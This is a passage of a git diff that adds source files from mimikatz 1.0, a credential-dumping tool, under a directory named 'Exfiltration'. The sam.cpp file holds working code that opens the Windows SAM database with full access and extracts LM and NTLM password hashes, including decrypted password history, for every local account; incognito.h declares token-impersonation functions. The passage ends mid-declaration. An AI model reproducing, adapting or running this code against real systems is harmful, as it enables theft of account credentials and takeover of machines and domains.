\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h new file mode 100644 index 0000000..a8eae58 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h @@ -0,0 +1,13 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +bool searchIncognitoFuncs(); +__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector<wstring> * mesArguments); +bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp new file mode 100644 index 0000000..5555b58 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp @@ -0,0 +1,479 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "sam.h" + +PSAM_I_CONNECT SamIConnect = reinterpret_cast<PSAM_I_CONNECT>(NULL); +PSAM_R_OPEN_DOMAIN SamrOpenDomain = reinterpret_cast<PSAM_R_OPEN_DOMAIN>(NULL); +PSAM_R_OPEN_USER SamrOpenUser = reinterpret_cast<PSAM_R_OPEN_USER>(NULL); +PSAM_R_ENUMERATE_USERS_IN_DOMAIN SamrEnumerateUsersInDomain = reinterpret_cast<PSAM_R_ENUMERATE_USERS_IN_DOMAIN>(NULL); +PSAM_R_QUERY_INFORMATION_USER SamrQueryInformationUser = reinterpret_cast<PSAM_R_QUERY_INFORMATION_USER>(NULL); +PSAM_I_FREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_USER_INFO_BUFFER>(NULL); +PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER>(NULL); +PSAM_R_CLOSE_HANDLE SamrCloseHandle = reinterpret_cast<PSAM_R_CLOSE_HANDLE>(NULL); +PSAM_I_GET_PRIVATE_DATA SamIGetPrivateData = reinterpret_cast<PSAM_I_GET_PRIVATE_DATA>(NULL); +PSYSTEM_FUNCTION_025 SystemFunction025 = reinterpret_cast<PSYSTEM_FUNCTION_025>(NULL); +PSYSTEM_FUNCTION_027 SystemFunction027 = reinterpret_cast<PSYSTEM_FUNCTION_027>(NULL); + +bool searchSAMFuncs() +{ + if(!(SamIConnect && + SamrOpenDomain && + SamrOpenUser && + SamrEnumerateUsersInDomain && + SamrQueryInformationUser && + SamIFree_SAMPR_USER_INFO_BUFFER && + SamIFree_SAMPR_ENUMERATION_BUFFER && + SamrCloseHandle && + SamIGetPrivateData && + SystemFunction025 && + SystemFunction027)) + { + HMODULE hSamsrv = GetModuleHandle(L"samsrv"); + HMODULE hAdvapi32 = GetModuleHandle(L"advapi32"); + + if(hSamsrv && hAdvapi32) + { + SamIConnect = reinterpret_cast<PSAM_I_CONNECT>(GetProcAddress(hSamsrv, "SamIConnect")); + SamrOpenDomain = reinterpret_cast<PSAM_R_OPEN_DOMAIN>(GetProcAddress(hSamsrv, "SamrOpenDomain")); + SamrOpenUser = reinterpret_cast<PSAM_R_OPEN_USER>(GetProcAddress(hSamsrv, "SamrOpenUser")); + SamrEnumerateUsersInDomain = reinterpret_cast<PSAM_R_ENUMERATE_USERS_IN_DOMAIN>(GetProcAddress(hSamsrv, "SamrEnumerateUsersInDomain")); + SamrQueryInformationUser = reinterpret_cast<PSAM_R_QUERY_INFORMATION_USER>(GetProcAddress(hSamsrv, "SamrQueryInformationUser")); + SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_USER_INFO_BUFFER>(GetProcAddress(hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER")); + SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER>(GetProcAddress(hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER")); + SamrCloseHandle = reinterpret_cast<PSAM_R_CLOSE_HANDLE>(GetProcAddress(hSamsrv, "SamrCloseHandle")); + SamIGetPrivateData = reinterpret_cast<PSAM_I_GET_PRIVATE_DATA>(GetProcAddress(hSamsrv, "SamIGetPrivateData")); + SystemFunction025 = reinterpret_cast<PSYSTEM_FUNCTION_025>(GetProcAddress(hAdvapi32, "SystemFunction025")); + SystemFunction027 = reinterpret_cast<PSYSTEM_FUNCTION_027>(GetProcAddress(hAdvapi32, "SystemFunction027")); + } + return (SamIConnect && + SamrOpenDomain && + SamrOpenUser && + SamrEnumerateUsersInDomain && + SamrQueryInformationUser && + SamIFree_SAMPR_USER_INFO_BUFFER && + SamIFree_SAMPR_ENUMERATION_BUFFER && + SamrCloseHandle); + } + else return true; +} + +__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream monStream; + monStream << L"** samsrv.dll/advapi32.dll ** ; Statut recherche : " << (searchSAMFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@SamIConnect = " << SamIConnect << endl << + L"@SamrOpenDomain = " << SamrOpenDomain << endl << + L"@SamrOpenUser = " << SamrOpenUser << endl << + L"@SamrEnumerateUsersInDomain = " << SamrEnumerateUsersInDomain << endl << + L"@SamrQueryInformationUser = " << SamrQueryInformationUser << endl << + L"@SamIFree_SAMPR_USER_INFO_BUFFER = " << SamIFree_SAMPR_USER_INFO_BUFFER << endl << + L"@SamIFree_SAMPR_ENUMERATION_BUFFER = " << SamIFree_SAMPR_ENUMERATION_BUFFER << endl << + L"@SamrCloseHandle = " << SamrCloseHandle << endl << + L"@SamIGetPrivateData = " << SamIGetPrivateData << endl << + L"@SystemFunction025 = " << SystemFunction025 << endl << + L"@SystemFunction027 = " << SystemFunction027 << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + if(searchSAMFuncs()) + { + bool sendOk = true, history = true, isCSV = false; + USER_INFORMATION_CLASS monType = UserInternal1Information; + + if(!mesArguments->empty()) + { + isCSV = ((_wcsicmp(mesArguments->front().c_str(), L"/csv") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/csv") == 0); + monType = (((_wcsicmp(mesArguments->front().c_str(), L"/full") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/full") == 0) ? UserAllInformation : UserInternal1Information); + } + + LSA_HANDLE handlePolicy = NULL; + HSAM handleSam = NULL; + HDOMAIN handleDomain = NULL; + HUSER handleUser = NULL; + + LSA_OBJECT_ATTRIBUTES objectAttributes; + memset(&objectAttributes, NULL, sizeof(objectAttributes)); + PPOLICY_ACCOUNT_DOMAIN_INFO ptrPolicyDomainInfo; + + NTSTATUS retourEnum = 0; + PSAMPR_ENUMERATION_BUFFER ptrStructEnumUser = NULL; + DWORD EnumerationContext = 0; + DWORD EnumerationSize = 0; + + PSAMPR_USER_INFO_BUFFER ptrMesInfosUsers = NULL; + + if(NT_SUCCESS(LsaOpenPolicy(NULL, &objectAttributes, POLICY_ALL_ACCESS, &handlePolicy))) + { + if(NT_SUCCESS(LsaQueryInformationPolicy(handlePolicy, PolicyAccountDomainInformation, reinterpret_cast<PVOID *>(&ptrPolicyDomainInfo)))) + { + if(NT_SUCCESS(SamIConnect(NULL, &handleSam, 1, SAM_SERVER_CONNECT))) + { + if(NT_SUCCESS(SamrOpenDomain(handleSam, DOMAIN_ALL_ACCESS, ptrPolicyDomainInfo->DomainSid, &handleDomain))) + { + wstring domainName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); + do + { + retourEnum = SamrEnumerateUsersInDomain(handleDomain, &EnumerationContext, NULL, &ptrStructEnumUser, 1000, &EnumerationSize); + if(NT_SUCCESS(retourEnum) || retourEnum == STATUS_MORE_ENTRIES) + { + for(DWORD numUser = 0; numUser < ptrStructEnumUser->EntriesRead && sendOk; numUser++) + { + wstring monUserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); + ptrMesInfosUsers = NULL; + + if(NT_SUCCESS(SamrOpenUser(handleDomain, USER_ALL_ACCESS, ptrStructEnumUser->Buffer[numUser].RelativeId, &handleUser))) + { + if(NT_SUCCESS(SamrQueryInformationUser(handleUser, monType, &ptrMesInfosUsers))) + { + WUserAllInformation mesInfos = UserInformationsToStruct(monType, ptrMesInfosUsers); + mesInfos.UserId = ptrStructEnumUser->Buffer[numUser].RelativeId; + mesInfos.DomaineName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); + + if(mesInfos.UserName.empty()) + mesInfos.UserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); + + sendOk = descrToPipeInformations(monPipe, monType, mesInfos, isCSV); + SamIFree_SAMPR_USER_INFO_BUFFER(ptrMesInfosUsers, monType); + } + + if(history && SamIGetPrivateData != NULL) + { + sendOk = descrUserHistoryToPipe(monPipe, ptrStructEnumUser->Buffer[numUser].RelativeId, monUserName, domainName, handleUser, monType, isCSV); + } + SamrCloseHandle(reinterpret_cast<PHANDLE>(&handleUser)); + } + else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir l\'objet utilisateur\n"); + } + SamIFree_SAMPR_ENUMERATION_BUFFER(ptrStructEnumUser); + } + else sendOk = sendTo(monPipe, L"Echec dans l\'obtention de la liste des objets\n"); + + } while(retourEnum == STATUS_MORE_ENTRIES && sendOk); + SamrCloseHandle(reinterpret_cast<PHANDLE>(&handleDomain)); + } + else sendOk = sendTo(monPipe, L"Impossible d\'obtenir les information sur le domaine\n"); + SamrCloseHandle(reinterpret_cast<PHANDLE>(&handleSam)); + } + else sendOk = sendTo(monPipe, L"Impossible de se connecter la base de scurit du domaine\n"); + LsaFreeMemory(ptrPolicyDomainInfo); + } + else sendOk = sendTo(monPipe, L"Impossible d\'obtenir des informations sur la politique de scurit\n"); + LsaClose(handlePolicy); + } + else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir la politique de scurit\n"); + + return sendOk; + } + else return getSAMFunctions(monPipe, mesArguments); +} + +bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV) +{ + wstringstream maReponse; + + switch(type) + { + case UserInternal1Information: + if(isCSV) + { + maReponse << + mesInfos.UserId << L";" << + mesInfos.UserName << L";" << + mesInfos.DomaineName << L";" << + mesInfos.LmOwfPassword << L";" << + mesInfos.NtOwfPassword << L";" + ; + } + else + { + maReponse << + L"ID : " << mesInfos.UserId << endl << + L"Nom : " << mesInfos.UserName << endl << + L"Domaine : " << mesInfos.DomaineName << endl << + L"Hash LM : " << mesInfos.LmOwfPassword << endl << + L"Hash NTLM : " << mesInfos.NtOwfPassword << endl + ; + } + break; + case UserAllInformation: + if(isCSV) + { + maReponse << + mesInfos.UserId << L';' << + mesInfos.UserName << L';' << + mesInfos.DomaineName << L';' << + protectMe(mesInfos.FullName) << L';' << + mesInfos.isActif << L';' << + mesInfos.isLocked << L';' << + mesInfos.TypeCompte << L';' << + protectMe(mesInfos.UserComment) << L';' << + protectMe(mesInfos.AdminComment) << L';' << + mesInfos.AccountExpires_strict << L';' << + protectMe(mesInfos.WorkStations) << L';' << + protectMe(mesInfos.HomeDirectory) << L';' << + protectMe(mesInfos.HomeDirectoryDrive) << L';' << + protectMe(mesInfos.ProfilePath) << L';' << + protectMe(mesInfos.ScriptPath) << L';' << + mesInfos.LogonCount << L';' << + mesInfos.BadPasswordCount << L';' << + mesInfos.LastLogon_strict << L';' << + mesInfos.LastLogoff_strict << L';' << + mesInfos.PasswordLastSet_strict << L';' << + mesInfos.isPasswordNotExpire << L';' << + mesInfos.isPasswordNotRequired << L';' << + mesInfos.isPasswordExpired << L';' << + mesInfos.PasswordCanChange_strict << L';' << + mesInfos.PasswordMustChange_strict << L';' << + mesInfos.LmOwfPassword << L';' << + mesInfos.NtOwfPassword << L';' + ; + } + else + { + maReponse << boolalpha << + L"Compte" << endl << + L"======" << endl << + L"ID : " << mesInfos.UserId << endl << + L"Nom : " << mesInfos.UserName << endl << + L"Domaine : " << mesInfos.DomaineName << endl << + L"Nom complet : " << mesInfos.FullName << endl << + L"Actif : " << mesInfos.isActif << endl << + L"Verouill : " << mesInfos.isLocked << endl << + L"Type : " << mesInfos.TypeCompte << endl << + L"Commentaire utilisateur : " << mesInfos.UserComment << endl << + L"Commentaire admin : " << mesInfos.AdminComment << endl << + L"Expiration : " << mesInfos.AccountExpires << endl << + L"Station(s) : " << mesInfos.WorkStations << endl << + endl << + L"Chemins" << endl << + L"-------" << endl << + L"Rpertoire de base : " << mesInfos.HomeDirectory << endl << + L"Lecteur de base : " << mesInfos.HomeDirectoryDrive << endl << + L"Profil : " << mesInfos.ProfilePath << endl << + L"Script de dmarrage : " << mesInfos.ScriptPath << endl << + endl << + L"Connexions" << endl << + L"----------" << endl << + L"Nombre : " << mesInfos.LogonCount << endl << + L"Echecs : " << mesInfos.BadPasswordCount << endl << + L"Dernire connexion : " << mesInfos.LastLogon << endl << + L"Dernire dconnexion : " << mesInfos.LastLogoff << endl << + endl << + L"Mot de passe" << endl << + L"------------" << endl << + L"Dernier changement : " << mesInfos.PasswordLastSet << endl << + L"N\'expire pas : " << mesInfos.isPasswordNotExpire << endl << + L"Peut tre vide : " << mesInfos.isPasswordNotRequired << endl << + L"Mot de passe expir : " << mesInfos.isPasswordExpired << endl << + L"Possibilit changement : " << mesInfos.PasswordCanChange << endl << + L"Obligation changement : " << mesInfos.PasswordMustChange << endl << + endl << + L"Hashs" << endl << + L"-----" << endl << + L"Hash LM : " << mesInfos.LmOwfPassword << endl << + L"Hash NTLM : " << mesInfos.NtOwfPassword << endl << + endl + ; + } + break; + } + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} + +WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr) +{ + WUserAllInformation mesInfos; + PSAMPR_USER_INTERNAL1_INFORMATION ptrPassword = NULL; + PSAMPR_USER_ALL_INFORMATION ptrAllInformations = NULL; + + switch(type) + { + case UserInternal1Information: + ptrPassword = reinterpret_cast<PSAMPR_USER_INTERNAL1_INFORMATION>(monPtr); + + mesInfos.LmPasswordPresent = ptrPassword->LmPasswordPresent != 0; + mesInfos.NtPasswordPresent = ptrPassword->NtPasswordPresent != 0; + + if(mesInfos.LmPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedLmOwfPassword.data, sizeof(ptrPassword->EncryptedLmOwfPassword.data)); + if(mesInfos.NtPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedNtOwfPassword.data, sizeof(ptrPassword->EncryptedNtOwfPassword.data)); + break; + + case UserAllInformation: + ptrAllInformations = reinterpret_cast<PSAMPR_USER_ALL_INFORMATION>(monPtr); + + mesInfos.UserId = ptrAllInformations->UserId; + mesInfos.UserName = mod_text::stringOfSTRING(ptrAllInformations->UserName); + mesInfos.FullName = mod_text::stringOfSTRING(ptrAllInformations->FullName); correctMe(mesInfos.FullName); + + mesInfos.isActif = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_DISABLED) == 0; + mesInfos.isLocked = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_AUTO_LOCKED) != 0; + + if(ptrAllInformations->UserAccountControl & USER_SERVER_TRUST_ACCOUNT) + mesInfos.TypeCompte.assign(L"Contrleur de domaine"); + else if(ptrAllInformations->UserAccountControl & USER_WORKSTATION_TRUST_ACCOUNT) + mesInfos.TypeCompte.assign(L"Ordinateur"); + else if(ptrAllInformations->UserAccountControl & USER_NORMAL_ACCOUNT) + mesInfos.TypeCompte.assign(L"Utilisateur"); + else + mesInfos.TypeCompte.assign(L"Inconnu"); + + mesInfos.UserComment = mod_text::stringOfSTRING(ptrAllInformations->UserComment); correctMe(mesInfos.AdminComment); + mesInfos.AdminComment = mod_text::stringOfSTRING(ptrAllInformations->AdminComment); correctMe(mesInfos.AdminComment); + mesInfos.AccountExpires = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires); + mesInfos.AccountExpires_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires, true); + mesInfos.WorkStations = mod_text::stringOfSTRING(ptrAllInformations->WorkStations); + mesInfos.HomeDirectory = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectory); correctMe(mesInfos.HomeDirectory); + mesInfos.HomeDirectoryDrive = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectoryDrive); correctMe(mesInfos.HomeDirectoryDrive); + mesInfos.ProfilePath = mod_text::stringOfSTRING(ptrAllInformations->ProfilePath); correctMe(mesInfos.ProfilePath); + mesInfos.ScriptPath = mod_text::stringOfSTRING(ptrAllInformations->ScriptPath); correctMe(mesInfos.ScriptPath); + mesInfos.LogonCount = ptrAllInformations->LogonCount; + mesInfos.BadPasswordCount = ptrAllInformations->BadPasswordCount; + mesInfos.LastLogon = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon); + mesInfos.LastLogon_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon, true); + mesInfos.LastLogoff = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff); + mesInfos.LastLogoff_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff, true); + mesInfos.PasswordLastSet = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet); + mesInfos.PasswordLastSet_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet, true); + mesInfos.isPasswordNotExpire = (ptrAllInformations->UserAccountControl & USER_DONT_EXPIRE_PASSWORD) != 0; + mesInfos.isPasswordNotRequired = (ptrAllInformations->UserAccountControl & USER_PASSWORD_NOT_REQUIRED) != 0; + mesInfos.isPasswordExpired = ptrAllInformations->PasswordExpired != 0; + mesInfos.PasswordCanChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange); + mesInfos.PasswordCanChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange, true); + mesInfos.PasswordMustChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange); + mesInfos.PasswordMustChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange, true); + mesInfos.LmPasswordPresent = ptrAllInformations->LmPasswordPresent != 0; + mesInfos.NtPasswordPresent = ptrAllInformations->NtPasswordPresent != 0; + + if(mesInfos.LmPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast<BYTE *>(ptrAllInformations->LmOwfPassword.Buffer), ptrAllInformations->LmOwfPassword.Length); + if(mesInfos.NtPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast<BYTE *>(ptrAllInformations->NtOwfPassword.Buffer), ptrAllInformations->NtOwfPassword.Length); + + break; + } + return mesInfos; +} + +bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV) +{ + WUserAllInformation mesInfos; + mesInfos.DomaineName = domainName; + mesInfos.UserId = rid; + + DWORD Context = 2, Type = 0, tailleBlob; + PWHashHistory pMesDatas = NULL; + bool sendOk = true; + + if(NT_SUCCESS(SamIGetPrivateData(handleUser, &Context, &Type, &tailleBlob, &pMesDatas))) + { + unsigned short nbEntrees = min(pMesDatas->histNTLMsize, pMesDatas->histLMsize) / 16; + + for(unsigned short i = 1; i < nbEntrees && sendOk; i++) + { + BYTE monBuff[16] = {0}; + + wostringstream userNameQualif; + userNameQualif << monUserName << L"{p-" << i << L"}"; + mesInfos.UserName = userNameQualif.str(); + + if(NT_SUCCESS(SystemFunction025(pMesDatas->hashs[nbEntrees + i], &rid, monBuff))) + { + mesInfos.LmPasswordPresent = 1; + mesInfos.LmOwfPassword = mod_text::stringOfHex(monBuff, 0x10); + } + else + { + mesInfos.LmPasswordPresent = 0; + mesInfos.LmOwfPassword = L"chec de dcodage :("; + } + + if(NT_SUCCESS(SystemFunction027(pMesDatas->hashs[i], &rid, monBuff))) + { + mesInfos.NtPasswordPresent = 1; + mesInfos.NtOwfPassword = mod_text::stringOfHex(monBuff, 0x10); + } + else + { + mesInfos.NtPasswordPresent = 0; + mesInfos.NtOwfPassword = L"chec de dcodage :("; + } + + sendOk = descrToPipeInformations(monPipe, type, mesInfos, isCSV); + } + LocalFree(pMesDatas); + } + return sendOk; +} + +wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict) +{ + wostringstream reponse; + + if(monInt.LowPart == ULONG_MAX && monInt.HighPart == LONG_MAX) + { + if(!isStrict) + reponse << L"N\'arrive jamais"; + } + else if(monInt.LowPart == 0 && monInt.HighPart == 0) + { + if(!isStrict) + reponse << L"N\'est pas encore arriv"; + } + else + { + SYSTEMTIME monTimeStamp; + if(FileTimeToSystemTime(reinterpret_cast<PFILETIME>(&monInt), &monTimeStamp) != FALSE) + { + reponse << dec << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wDay << L"/" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMonth << L"/" << + setw(4)<< setfill(wchar_t('0')) << monTimeStamp.wYear << L" " << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wHour << L":" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMinute << L":" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wSecond; + } + } + return reponse.str(); +} + +wstring protectMe(wstring &maChaine) +{ + wstring result; + if(!maChaine.empty()) + { + result = L"\""; + result.append(maChaine); + result.append(L"\""); + } + return result; +} + +void correctMe(wstring &maChaine) +{ + unsigned char source[] = {0x19, 0x20, 0x13, 0x20, 0xab, 0x00, 0xbb, 0x00, 0x26, 0x20}; + unsigned char replac[] = {'\'', 0 , '-' , 0 , '\"', 0 , '\"', 0, '.', 0 }; + + for(unsigned int i = 0; i < maChaine.size() ; i++) + { + const BYTE * monPtr = reinterpret_cast<const BYTE *>(&maChaine.c_str()[i]); + for(int j = 0 ; j < min(sizeof(source), sizeof(replac)) ; j+=2) + { + if(*monPtr == source[j] && *(monPtr + 1) == source[j+1]) + { + *const_cast<BYTE *>(monPtr) = replac[j]; + *const_cast<BYTE *>(monPtr + 1) = replac[j + 1]; + break; + } + } + } +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h new file mode 100644 index 0000000..870aa4d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h @@ -0,0 +1,210 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_text.h" +#include <sstream> +#include <iomanip> + +bool searchSAMFuncs(); +__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector<wstring> * mesArguments); + +#define SAM_SERVER_CONNECT 0x00000001 +#define DOMAIN_ALL_ACCESS 0x000F07FF +#define USER_ALL_ACCESS 0x000F07FF + +#define USER_ACCOUNT_DISABLED 0x00000001 +#define USER_PASSWORD_NOT_REQUIRED 0x00000004 +#define USER_NORMAL_ACCOUNT 0x00000010 +#define USER_WORKSTATION_TRUST_ACCOUNT 0x00000080 +#define USER_SERVER_TRUST_ACCOUNT 0x00000100 +#define USER_DONT_EXPIRE_PASSWORD 0x00000200 +#define USER_ACCOUNT_AUTO_LOCKED 0x00000400 +#define USER_SMARTCARD_REQUIRED 0x00001000 +#define USER_TRUSTED_FOR_DELEGATION 0x00002000 +#define USER_PASSWORD_EXPIRED 0x00020000 + +typedef struct _WUserAllInformation +{ + unsigned long UserId; + wstring UserName; + wstring DomaineName; + wstring FullName; + bool isActif; + bool isLocked; + wstring TypeCompte; + wstring UserComment; + wstring AdminComment; + wstring AccountExpires; + wstring AccountExpires_strict; + wstring WorkStations; + + wstring HomeDirectory; + wstring HomeDirectoryDrive; + wstring ProfilePath; + wstring ScriptPath; + + unsigned short LogonCount; + unsigned short BadPasswordCount; + wstring LastLogon; + wstring LastLogon_strict; + wstring LastLogoff; + wstring LastLogoff_strict; + + wstring PasswordLastSet; + wstring PasswordLastSet_strict; + bool isPasswordNotExpire; + bool isPasswordNotRequired; + bool isPasswordExpired; + wstring PasswordCanChange; + wstring PasswordCanChange_strict; + wstring PasswordMustChange; + wstring PasswordMustChange_strict; + + bool LmPasswordPresent; + wstring LmOwfPassword; + bool NtPasswordPresent; + wstring NtOwfPassword; +} WUserAllInformation, *PUserAllInformation; + +typedef struct _WHashHistory +{ + DWORD unkVersion; + unsigned short currentLMsize; + unsigned short unkCurrentLMsize; + DWORD unkCurLM; + BYTE EncLMhash[16]; + + unsigned short currentNTLMsize; + unsigned short unkCurrentNTLMsize; + DWORD unkCurNTLM; + BYTE EncNTLMhash[16]; + + unsigned short histLMsize; + unsigned short unkhistLMsize; + DWORD unkHistLM; + + unsigned short histNTLMsize; + unsigned short unkhistNTLMsize; + DWORD unkHistNTLM; + BYTE hashs[24][16]; +} WHashHistory, *PWHashHistory; + +DECLARE_HANDLE(HUSER); +DECLARE_HANDLE(HSAM); +DECLARE_HANDLE(HDOMAIN); + +typedef struct _SAMPR_RID_ENUMERATION +{ + unsigned long RelativeId; + LSA_UNICODE_STRING Name; +} SAMPR_RID_ENUMERATION, *PSAMPR_RID_ENUMERATION; + +typedef struct _SAMPR_ENUMERATION_BUFFER +{ + unsigned long EntriesRead; + [size_is(EntriesRead)] PSAMPR_RID_ENUMERATION Buffer; +} SAMPR_ENUMERATION_BUFFER, *PSAMPR_ENUMERATION_BUFFER; + +typedef enum _USER_INFORMATION_CLASS +{ + UserInternal1Information = 18, + UserAllInformation = 21, +} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS; + +typedef struct _ENCRYPTED_LM_OWF_PASSWORD +{ + BYTE data[16]; +} ENCRYPTED_LM_OWF_PASSWORD, *PENCRYPTED_LM_OWF_PASSWORD, ENCRYPTED_NT_OWF_PASSWORD, *PENCRYPTED_NT_OWF_PASSWORD; + +typedef struct _SAMPR_USER_INTERNAL1_INFORMATION +{ + ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword; + ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword; + unsigned char NtPasswordPresent; + unsigned char LmPasswordPresent; + unsigned char PasswordExpired; +} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION; + +typedef struct _OLD_LARGE_INTEGER { + unsigned long LowPart; + long HighPart; +} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; + +typedef struct _SAMPR_SR_SECURITY_DESCRIPTOR { + [range(0, 256 * 1024)] unsigned long Length; + [size_is(Length)] unsigned char* SecurityDescriptor; +} SAMPR_SR_SECURITY_DESCRIPTOR, *PSAMPR_SR_SECURITY_DESCRIPTOR; + +typedef struct _SAMPR_LOGON_HOURS { + unsigned short UnitsPerWeek; + [size_is(1260), length_is((UnitsPerWeek+7)/8)] + unsigned char* LogonHours; +} SAMPR_LOGON_HOURS, *PSAMPR_LOGON_HOURS; + +typedef struct _SAMPR_USER_ALL_INFORMATION +{ + OLD_LARGE_INTEGER LastLogon; + OLD_LARGE_INTEGER LastLogoff; + OLD_LARGE_INTEGER PasswordLastSet; + OLD_LARGE_INTEGER AccountExpires; + OLD_LARGE_INTEGER PasswordCanChange; + OLD_LARGE_INTEGER PasswordMustChange; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING FullName; + LSA_UNICODE_STRING HomeDirectory; + LSA_UNICODE_STRING HomeDirectoryDrive; + LSA_UNICODE_STRING ScriptPath; + LSA_UNICODE_STRING ProfilePath; + LSA_UNICODE_STRING AdminComment; + LSA_UNICODE_STRING WorkStations; + LSA_UNICODE_STRING UserComment; + LSA_UNICODE_STRING Parameters; + LSA_UNICODE_STRING LmOwfPassword; + LSA_UNICODE_STRING NtOwfPassword; + LSA_UNICODE_STRING PrivateData; + SAMPR_SR_SECURITY_DESCRIPTOR SecurityDescriptor; + unsigned long UserId; + unsigned long PrimaryGroupId; + unsigned long UserAccountControl; + unsigned long WhichFields; + SAMPR_LOGON_HOURS LogonHours; + unsigned short BadPasswordCount; + unsigned short LogonCount; + unsigned short CountryCode; + unsigned short CodePage; + unsigned char LmPasswordPresent; + unsigned char NtPasswordPresent; + unsigned char PasswordExpired; + unsigned char PrivateDataSensitive; +} SAMPR_USER_ALL_INFORMATION, *PSAMPR_USER_ALL_INFORMATION; + +typedef [switch_is(USER_INFORMATION_CLASS)] union 